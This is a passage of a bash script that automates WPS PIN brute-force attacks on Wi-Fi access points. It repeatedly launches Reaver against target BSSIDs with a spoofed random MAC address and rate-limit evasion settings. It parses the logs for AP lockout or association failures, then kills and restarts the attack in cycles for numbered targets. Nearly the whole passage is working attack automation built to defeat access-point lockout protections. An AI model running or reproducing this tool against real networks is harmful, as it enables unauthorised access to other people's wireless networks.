	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R38 == y || $USE_R38 == Y ]] && [[ $USE_LONG38 == n || $USE_LONG38 == N ]] && [[ $USE_PIN38 == y || $USE_PIN38 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX38" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY38"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -vv -x 60 -r $RX38:$RY38 --pin=$WPS_PIN38 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R38 == n || $USE_R38 == N ]] && [[ $USE_LONG38 == y || $USE_LONG38 == Y ]] && [[ $USE_PIN38 == y || $USE_PIN38 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN38 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R38 == y || $USE_R38 == Y ]] && [[ $USE_LONG38 == y || $USE_LONG38 == Y ]] && [[ $USE_PIN38 == y || $USE_PIN38 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX38" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY38"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -r $RX38:$RY38 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN38 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE38 == n ] || [ $KEEP_FILE38 == N ]; then

          rm VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R39 == n || $USE_R39 == N ]] && [[ $USE_LONG39 == n || $USE_LONG39 == N ]] && [[ $USE_PIN39 == n || $USE_PIN39 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R39 == y || $USE_R39 == Y ]] && [[ $USE_LONG39 == n || $USE_LONG39 == N ]] && [[ $USE_PIN39 == n || $USE_PIN39 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX39" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY39"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"
